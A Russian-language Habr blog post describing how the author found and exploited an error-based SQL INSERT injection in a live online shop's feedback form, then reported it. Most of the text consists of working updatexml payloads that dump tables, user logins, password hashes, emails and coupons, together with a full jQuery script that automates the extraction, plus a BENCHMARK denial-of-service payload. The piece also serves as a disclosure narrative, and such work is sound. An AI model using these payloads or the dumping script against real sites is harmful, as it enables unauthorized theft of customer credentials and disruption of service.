SQL Insert Injection в одном интернет магазине

c9be795586eb4b4183dbffe00556027a.png
Давно на Хабре не звучали истории про SQL injection. А уж рассказов из жизни про SQL INSERT injection вообще очень мало. Поэтому расскажу свою.

Лирическое вступление
Лирическое вступление

Всё началось с моего желания купить себе нечто недешёвое в разборном виде в интернет-магазине A.B. ru фирмы B. После оформления, связи с менеджером по электронной почте, получения посылки и обзора её содержимого оказалось, что некоторых метизов очень не хватает. Полного перечня всего необходимого не было, лишь список болтов, гаек и шайб. Я начал сборку, дойдя до того места, где без отсутствующих болтов уже никак не обойтись. Поэтому мною было скурпулёзно составлено описание не найденных метизов и выслано электронным письмом той же девушке-менеджеру, с которой мы общались. К чести магазина стоит сказать, что практически всё необходимое было выслано второй посылкой. Поэтому я начал сборку, загоняя в дальний угол своего разума опасения о том, что может отсутствовать что-то ещё. Но, дойдя до финишной прямой, оказалось, что примерно ¼-ой часть устройства не хватает в принципе, судя по фотографиям из руководства и здравому смыслу. Поэтому за первым письмом о недокомплекте последовало второе, куда более обширное, а сборка отложена.
Когда прошла вторая неделя ожидания, мне удалось убедить себя в том, что девушка-менеджер вышла в отпуск. Поэтому я переслал ей письмо двухнедельной давности ещё раз и перешёл к поиску других каналов электронной связи — очень уж не хотелось звонить в Москву. В первую очередь тоже самое письмо было отправлено на общий эл-адрес A@B.ru, на что был получен мгновенный ответ: почтовый сервер отказывается принимать письмо из-за переполненного ящика получателя <мужик>@B.ru. Тогда была найдена форма обратной связи на сайте — последняя ниточка соединяющая меня на текущий момент с интернет-магазином. В первую очередь я описал проблему переполненного почтового ящика и вставил сообщение об отказе доставить письмо, которое содержало в себе одинарные кавычки…


Начало

На попытку отправить отчёт об ошибке через форму обратной связи, на пару секунд на странице появилась ошибка, в которой угадывался голос MySQL. Поэтому я открыл консоль браузера, повторил запрос и заглянул в ответ сервера:

Error displaying the error page: Application Instantiation Error: You have an error in your SQL syntax; at line 1 SQL=INSERT INTO ab_com_feedback (`id`, `ordering`, `state`, `checked_out`, `checked_out_time`, `created_by`, `name`, `email`, `phone`, `ask`, `answer`, `createdate`, `changedate`, `userans`) VALUES (NULL, '0',  '1', '0', '2015-08-04 11:36:37', '', 'Max', '<мой адрес>@gmail.com', '', 'текст, в котором упоминается адрес '<мужика>@B.ru' прямо в одинарных кавычках.', '', '2015-08-04 11:36:37', '0000-00-00 00:00:00', '0');


Итак, найдена SQL insert injection в интернет-магазине, которому я отдал свои кровные.
В первую очередь, я нашёл пару достойных материалов по теме. Самый интересный из них SQL Injection in Insert, Update and Delete Statements (Osanda Malith Jayathissa). Благодаря ему, взгляд упал на функцию updatexml, которая появилась в MySQL 5.1 (т.е. если не сработает, то можно будет сделать соответствующий вывод:

UpdateXML (xml_target, xpath_expr, new_xml)


Смысл использования функции в том, чтобы создать заранее неверный XPath Expression (второй аргумент). Для этого Osanda предлагает делать конкатенацию с символом »~». Что ж, проверяем в локальном MySQL:

mysql> select updatexml(1, '123', 0) from dual;
+------------------------+
| updatexml(1, '123', 0) |
+------------------------+
| NULL                   |
+------------------------+
1 row in set (0,00 sec)
mysql> select updatexml(1, '~123', 0) from dual;
ERROR 1105 (HY000): XPATH syntax error: '~123'


Да, работает. Теперь формируем тело сообщения для нашего магазина. Первый получившийся запрос выглядел так:

message' or updatexml(1,concat(0x7e,(version())),0) or '', '0000-00-00 00:00:00', '0000-00-00 00:00:00', '1');--'


Потом я немного подумал, и сократил его до:

' or updatexml(1,concat(0x7e,(version())),0) or '


Ответ интернет-магазина:

Error displaying the error page: Application Instantiation Error: XPATH syntax error: '~5.5.41-MariaDB-log' SQL=INSERT INTO ab_com_feedback (`id`, `ordering`, `state`, `checked_out`, `checked_out_time`, `created_by`, `name`, `email`, `phone`, `ask`, `answer`, `createdate`, `changedate`, `userans`) VALUES (NULL, '0',  '1', '0', '2015-08-04 12:39:12', '', 'Ken', 'ken@mailinator.com', '', '' or updatexml(1,concat(0x7e,(version())),0) or '', '', '2015-08-04 12:39:12', '0000-00-00 00:00:00', '0');


Сработало! Всё крутится на MariaDB 5.5. Отличия от MySQL минимальны, версия 5.5 поддерживает множество полезных операторов и функций. Пройдясь по типичным для подобных ситуаций данным, я вытащил следующую информацию:

version: 5.5.41-MariaDB-log
hostname: db-www
user: A@A.B.ru
database: A


Теперь можно попробовать выполнение полноценных SQL-запросов. В первую очередь, ради интереса, я написать такой:

' or updatexml(0, concat(0x7e,(SELECT password FROM mysql.user WHERE user='root')), 0) or '


Но, разумеется, получил отказ:

Error displaying the error page: Application Instantiation Error: SELECT command denied to user 'A'@'A.B.ru' for table 'user' SQL=INSERT INTO ab_com_feedback (`id`, `ordering`, `state`, `checked_out`, `checked_out_time`, `created_by`, `name`, `email`, `phone`, `ask`, `answer`, `createdate`, `changedate`, `userans`) VALUES (NULL, '0',  '1', '0', '2015-08-04 14:27:21', '', 'Ken', 'ken@mailinator.com', '', '' or updatexml(0, concat(0x7e,(SELECT password FROM mysql.user WHERE user='root')), 0) or '', '', '2015-08-04 14:27:21', '0000-00-00 00:00:00', '0');


Теперь нужно получить список таблиц в текущей БД. Для этого используем доступную с MySQL 5.0 мета-таблицу information_schema:

' or updatexml(0, concat(0x7e,(SELECT concat(table_schema, ':', table_name) FROM information_schema.tables WHERE table_schema=database() LIMIT 0, 1)), 0) or '


Меняя первый параметр в операторе LIMIT, можно перебрать все текущие таблицы. Меня хватило на 

первые 20 штук
    aa:cart
    aa:category
    aa:includes
    aa:items
    aa:layout
    aa:menu
    aa:aabb_ak_profiles
    aa:aabb_ak_stats
    aa:aabb_ak_storage
    aa:aabb_assets
    aa:aabb_associations
    aa:aabb_banner_clients
    aa:aabb_banner_tracks
    aa:aabb_banners
    aa:aabb_categories
    aa:aabb_com_feedback
    aa:aabb_com_photo_votes
    aa:aabb_com_photo_votes_comment
    aa:aabb_com_photo_votes_likes
    aa:aabb_com_wishlist



Решаю автоматизировать. Речь идёт об AJAX POST-запросе и на сайте включён jQuery. Нам нужно отправлять сразу несколько запросов — это асинхронная работа, так что я решил сразу подгрузить библиотеку async и попробовать с её помощью получить желаемый список таблиц. Получилась

не очень изящная функция создания и отсылки множества одновременных запросов
$.getScript('https://raw.githubusercontent.com/caolan/async/master/lib/async.js');

(function() {
    var ans_start = " '~", // Начало полезной информации в ответе сервера
        ans_stop = "' SQL=", // Конец полезной информации
        lim = 20,
        start_from = 0;
    
    // Куча одновременных AJAX-запросов
    async.times(lim, function(i, next) {
        var injection = "' or updatexml(0, concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema=database() limit "+ (start_from + i) +", 1)), 0) or '";
        $.ajax({
            url: '/cli/feedback.php',
            method: 'POST',
            data: $.param({
                data_email: 'undefined',
                data_email_body: 'undefined',
                data_email_subject: 'Обратная связь - A B',
                type: 'feedback',
                name: 'Test',
                mail: 'test@mailinator.com',
                phone: '',
                feedbacktext: injection,
                else: '',
                recipient: 'A@B.ru',
                btn: ''
            }),
            success: function(resp) {
                next(null, resp.substring(resp.indexOf(ans_start) + ans_start.length, resp.indexOf(ans_stop)));
            },
            error: function(jqXHR, textStatus) {
                next(textStatus);
            }
        });
    }, function(err, results) {
        // Все результаты в конце одним скопом
        if (err) return console.error(err);
        window.INJ_RESULTS = results; // Опытным путём установил, что из консоли браузера не всегда удобно копировать данные, поэтому лучше привязать их к какой-нибудь глобальной переменной для пост-обработки
        console.log(results.join('\n')); // Вывод одной строкой во избежание проблем с копированием
    });
})();



Таким образом я получил список первых 20 таблиц, но понял, что одновременно посылать множество запросов нехорошо (на последние из них сервер отвечал в течении 20 секунд). Решил, что не стоит угрожать стабильности работы магазина и поменял функцию async.times на async.timesSeries, чтобы каждый следующий запрос отправлялся после получения ответа на предыдущий. Поменял параметр lim с 20 на 200 и ушёл за чашечкой чая. А когда вернулся, в моём распоряжении был

список всех таблиц
aa:cart
aa:category
<...>
aa:aabb_finder_links
aa:aabb_finder_links_terms0
aa:aabb_finder_links_terms1
<...>
aa:aabb_jcomments_votes
aa:aabb_jsecurelog
aa:aabb_jshopping_addons
<...>
aa:aabb_jshopping_coupons
<...>
aa:aabb_jshopping_shipping_meth
<...>
aa:aabb_jshopping_usergroups
aa:aabb_jshopping_users
<...>
aa:aabb_usergroups
aa:aabb_users
aa:aabb_viewlevels
aa:aabb_weblinks
aa:aabb_wf_profiles
aa:aabb_xmap_items
aa:aabb_xmap_sitemap
aa:modules
aa:orders
aa:oshibka
aa:params
aa:reviews
aa:slideshow
aa:users



Из этого списка стало понятно два факта: стоит Joomla и объем полезной информации ограничен 32-мя символов. Причём первых из них (»~») убрать мы не можем, значит у нас всего 31 символ. Что ж, не так уж мало. Было много интересных таблиц (3 таблицы *users и aabb_jshopping_coupons). Сначала я исследовал структуру таблицы users, модифицируя переменную injection:

' or updatexml(0, concat(0x7e,(SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1)), 0) or '

id, login, password, email, tel, name, firma, active, date, role


Потом её содержимое с помощью функции CONCAT_WS:

' or updatexml(0, concat(0x7e,(SELECT CONCAT_WS(':',id,login,password) FROM users LIMIT 0,1)), 0) or '


Но каждая запись получалась длинной ровно в 31 символ из-за избытка информации, поэтому сначала нужно было преодолеть это ограничение. Для этого я решил воспользоваться функцией SUBSTRING, а получение новой порции данных реализовать через рекурсию. В итоге получился

вот такой конструктор запросов `ajax93t411`.
$.getScript('https://raw.githubusercontent.com/caolan/async/master/lib/async.js');

// Константы, чтобы потом легче было
var ANS_START = " '~",
    ANS_STOP = "' SQL=",
    ANS_ERR = "Er",
    ANS_LIM = 31;

// Основная функция
// start_from и lim для путешествия по строчкам таблицы
// construct_req - функция, возвращающая строку с запросом
function ajax93t411(start_from, lim, construct_req) {
    // значения по умолчанию ня всякий случай
    start_from = start_from || 0;
    lim = lim || 1;

    // Запрос к серверу. i, offset - просто передаются в construct_req
    function req(i, offset, callback) {
        $.ajax({
            url: '/cli/feedback.php',
            method: 'POST',
            data: $.param({
                data_email: 'undefined',
                data_email_body: 'undefined',
                data_email_subject: 'Обратная связь - A B',
                type: 'feedback',
                name: 'Test',
                mail: 'test@mailinator.com',
                phone: '',
                feedbacktext: construct_req(start_from, i, offset),
                else: '',
                recipient: 'A@B.ru',
                btn: ''
            }),
            success: function(resp) {
                callback(null, resp.substring(resp.indexOf(ANS_START) + ANS_START.length, resp.indexOf(ANS_STOP)));
            },
            error: function(jqXHR, textStatus) {
                callback(textStatus);
            }
        });
    }

    // Если длина ответа получается равна 31, то делаем смещение и
    // ещё один запрос, суммируя результаты
    function constructReq(i, full_answer, offset, next) {
        req(i, offset, function(err, answer) {
            if (err) return next(err, full_answer);

            full_answer += answer;
            if (answer.length == ANS_LIM) {
                constructReq(i, full_answer, offset + ANS_LIM, next);
            } else {
                next(null, full_answer);
            }
        });
    }
    
    // Путешествуем по заданному количеству строк таблицы
    async.timesSeries(lim, function(i, next) {
        constructReq(i, '', 1, next);
    }, function(err, results) {
        if (err) return console.error(err);
        window.INJ_RESULTS = results;
        console.log(results.join(', '));
    });
}



По такому алгоритму данные будут вытягиваться ещё дольше, зато целиком и полностью. Теперь можно создавать сами запросы отдельно от общей логики:

function inj(start_from, i, offset) {
    return "' or updatexml(0, concat(0x7e,(SELECT SUBSTRING(concat_ws(':',id,login,password,email), "+ offset +", "+ ANS_LIM +") FROM users LIMIT "+ (start_from + i) +",1)), 0) or '"
}
ajax93t411(0, 30, inj)


И первые 30 строк таблицы users в консоли браузера.

function inj(start_from, i, offset) {
    return "' or updatexml(0, concat(0x7e,(SELECT SUBSTRING(concat_ws(':',username,email,password), "+ offset +", "+ ANS_LIM +") FROM aabb_users LIMIT "+ (start_from + i) +",1)), 0) or '"
}

ajax93t411(0, 30, inj)


Далее опишу лишь наиболее интересные моменты.
Купоны, в т.ч. для Хабра и Гиктаймс, оказались просроченными. Да и свою игрушку я уже купил.

function inj(start_from, i, offset) {
    return "' or updatexml(0, concat(0x7e,(SELECT SUBSTRING(concat_ws(':',coupon_code,coupon_value,coupon_start_date,coupon_expire_date), "+ offset +", "+ ANS_LIM +") FROM aabb_jshopping_coupons LIMIT "+ (start_from + i) +",1)), 0) or '"
}

ajax93t411(0, 30, inj)

Все таблицы в полную длину для всех доступных баз данных:

function inj(start_from, i, offset) {
    return "' or updatexml(0, concat(0x7e,(SELECT SUBSTRING(concat_ws(':', table_schema, table_name), "+ offset +", "+ ANS_LIM +") FROM information_schema.tables LIMIT "+ (start_from + i) +", 1)), 0) or '"
}

ajax93t411(62, 100, inj); // Первые 62 - это сама information_schema
ajax93t411(162, 100, inj);


Как оказалось, не только интернет-магазин A.B. ru работает на Joomla, но и такой же магазин B.ru на ней же и на том же сервере. Но перспектив от исследования ещё одного сайта я не увидел. В конце концов, моей целью не было получение наживы. Поэтому я решил, что читать данные хорошо, но…

Можно ли что-нибудь записать?

Как оказалось, нет. Так как нам доступны только подзапросы. Решил, что стоит всё же попробовать работу с файлами. Но чтобы не навредить интернет-магазину своими неосторожными действиями, перенесу повествование на собственную машину, где провёл

некоторые опыты
Создаём простейшую таблицу:
mysql> create database test;
Query OK, 1 row affected (0,06 sec)

mysql> create table t(id int, msg text);
Query OK, 0 rows affected (0,70 sec)

mysql> insert into t values (1, 'msg');
Query OK, 1 row affected (0,06 sec)

mysql> select * from t;
+------+------+
| id   | msg  |
+------+------+
|    1 | msg  |
+------+------+
1 row in set (0,00 sec)


Попробуем имитировать SQL insert injection:
mysql> insert into t values (1, '' or updatexml(1, concat('~', version()), 0) or '');
ERROR 1105 (HY000): XPATH syntax error: '~5.6.25-0ubuntu0.15.04.1'

mysql> insert into t values (1, '' or updatexml(1, concat('~', '1234567890123456789012345678901234567890'), 0) or '');
ERROR 1105 (HY000): XPATH syntax error: '~1234567890123456789012345678901'


То же самое ограничение в 32 символа.

Попробуем вывод в файл:

mysql> select 1 from dual into outfile 'test.txt';
Query OK, 1 row affected (0,00 sec)

$ sudo ls -la /var/lib/mysql/test/
итого 124
drwx------  2 mysql mysql  4096 авг.  11 18:07 .
drwx------ 12 mysql mysql  4096 авг.  11 17:50 ..
-rw-rw----  1 mysql mysql    65 авг.  11 17:50 db.opt
-rw-rw-rw-  1 mysql mysql     2 авг.  11 18:07 test.txt
-rw-rw----  1 mysql mysql  8584 авг.  11 17:52 t.frm
-rw-rw----  1 mysql mysql 98304 авг.  11 17:52 t.ibd

mysql> insert into t values (1, '' or updatexml(1, concat('~', (select 1 from dual into outfile 'test.txt')), 0) or '');
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'into outfile 'test.txt')), 0) or '')' at line 1


Ожидаемо, но проверить стоило. Попробуем чтение файла. Так оно выглядит в нормальном виде:
mysql> LOAD DATA INFILE 'test.txt' into table t;
Query OK, 1 row affected, 1 warning (0,08 sec)
Records: 1  Deleted: 0  Skipped: 0  Warnings: 1

mysql> select * from t;
+------+------+
| id   | msg  |
+------+------+
|    1 | msg  |
|    1 | NULL |
+------+------+
2 rows in set (0,00 sec)


Но внутри INSERT INTO тоже не работает:
mysql> insert into t values (1, '' or updatexml(1, concat('~', (LOAD DATA INFILE 'test.txt' into table t)), 0) or '');
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'LOAD DATA INFILE 'test.txt' into table t)), 0) or '')' at line 1
mysql> insert into t values (1, '' or updatexml(1, concat('~', (LOAD DATA INFILE 'test.txt')), 0) or '');
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'LOAD DATA INFILE 'test.txt')), 0) or '')' at line 1


В любом случае, применительно к интернет-магазину, полные пути к сайту мне неизвестны, чтобы, например, создать PHP Shell.

Написал в интернет-магазин

Письмо
Здравствуйте.

Случайно обнаружил ошибку на вашем сайте.
Страница A.B. ru/info/about, форма обратной связи.
Если заполнить имя и e-mail, а в теле сообщения использовать символ одинарной кавычки ('), то после нажатия на «Отправить» на экране на некоторое время будет выведена ошибка от используемой СУБД. Если вчитаться и откорректировать текст сообщения, то можно получить любую хранящуюся в БД информацию.

Предлагаю как можно скорее исправить ошибку, проверить все написанные программистом модули/страницы на наличие подобных проблем и закрыть данный источник проблем.

Получил

ответ
Добрый день, Максим.

Спасибо за Ваше замечание, учтём

С уважением,
A B

Подумав, отправил

ещё одно письмо

Если не возражаете, я бы описал свой «спортивный интерес» в статье без ссылок прямых и косвенных на сайт и фирму, разумеется. Сообщите пожалуйста, когда проблема будет исправлена, на всякий случай.

День следующий

Ответа на второе письмо нет. Ну и ладно. Ровно через сутки зашёл на ту же страницу с формой обратной связи. Теперь в поле ввода фильтруются все спец. символы, разумеется, на стороне клиента. Что ж, молодцы, остаётся надеяться, что это просто заплатка на время исправления реальных ошибок. А пока решил продолжить исследования — хочется разобраться до конца.

Как оказалось, полезная часть текста об ошибке в ответе от MariaDB не всегда 32 символа. При попытке получить текст на русском получается выудить лишь 16 символов. Проверил на MySQL — то же самое. Значит, ограничение не в 32 символа, а в 32 байта. Что ж, переделал утилиту ajax93t411:

ajax93t411.js
var ANS_START = " '~",
    ANS_STOP = "' SQL=",
    ANS_LIM = 31;

function ajax93t411(start_from, lim, construct_req) {
    start_from = start_from || 0;
    lim = lim || 1; // Can be -1. -1 if for "while no Err"

    function req(i, offset, callback) {
        $.ajax({

            //-- All this params is for customization. Feel free
            url: '/cli/feedback.php',
            method: 'POST',
            data: $.param({
                data_email: 'undefined',
                data_email_body: 'undefined',
                data_email_subject: 'Обратная связь - A B',
                type: 'feedback',
                name: 'Test',
                mail: 'test@mailinator.com',
                phone: '',
                feedbacktext: construct_req(start_from, i, offset), // Don't forget about this function to include
                else: '',
                recipient: 'A@B.ru',
                btn: ''
            }
            //---
            ),
            success: function(resp) {
                var answer = resp.substring(resp.indexOf(ANS_START) + ANS_START.length, resp.indexOf(ANS_STOP));
                if (answer == ANS_ERR) {
                    callback(answer);
                } else {
                    callback(null, answer);
                }
            },
            error: function(jqXHR, textStatus) {
                callback(textStatus);
            }
        });
    }

    function constructReq(i, full_answer, offset, next) {
        req(i, offset, function(err, answer) {
            if (err) return next(err, full_answer);

            full_answer += answer;
            if (answer.length > 0) {
                constructReq(i, full_answer, offset + answer.length, next);
            } else {
                $('body').append('

'+ full_answer +'

'); // Include each new result into webpage of target site. Just for usability. next(null, full_answer); } }); } function timesSeries(lim, i, results, callback) { if (i < lim) { constructReq(i, '', 1, function(err, answer) { if (err) return callback(err, results); results.push(answer); timesSeries(lim, i + 1, results, callback); }); } else { callback(null, results); } } function untilErrSeries(i, results, callback) { constructReq(i, '', 1, function(err, answer) { if (err) return callback(err, results); results.push(answer); untilErrSeries(i + 1, results, callback); }); } function complete(err, results) { if (err) console.error(err); window.INJ_RESULTS = results; // Keep all results into the global variable. Just for usability. console.log('Done'); } $('body').append('

New Request!

'); if (lim > 0) { timesSeries(lim, 0, [], complete); } else { // lim < 0 untilErrSeries(0, [], complete); } }


Теперь программа не зависит от константной длины, а продолжает искать конец строки, пока не будет возвращена ошибка (т.е. ответ с текстом ошибки не в том формате, в котором программа его ожидает). Да, чуть больше запросов. Зато нет проблемы с текстами в не latin кодировках. Кроме того, избавился от зависимости от библиотеки async (она присутствовала для скорости разработки и апробирования результатов). А так же добавил возможность не задавать конкретное количество строк в таблице, которые нужно получить, а рекурсивно получать все доступные (до ошибки). А так же добавил вывод результатов работы прямо на страницу сайта, чтобы легче было просматривать.

Возможны ли ужасные последствия такой уязвимости?

Как мы уже выяснили, записать что-то в файл или читать из него не получится даже если у пользователя есть на то права. Зато у нас в кармане таблицы с паролями и эл. адресами всех пользователей и администраторов. Лично я подбирать их и входить на сайт даже не пытался — мне это ни к чему. Тем не менее, можно констатировать факт возможности чтения любой информации из текущей базы данных, а в нашем случае и из соседней.
Другая открываемая подобной уязвимость возможность — это атака DoS, например, вот такой подстановкой:

' or updatexml(0, concat(0x7e,(select benchmark(10000000000000000000000000000000000000000000000, encode('hello', 'world')))), 0) or '

Через неделю

Решил написать

ещё одно письмо
Добрый день.

Вы же понимаете, что текущая заплатка не устраняет уязвимости?


Ответа как и раньше не последовало.

P.S.: Статья опубликована через 13 дней с момента обнаружения уязвимости. Представители интернет-магазина на связь не выходят.

© Habrahabr.ru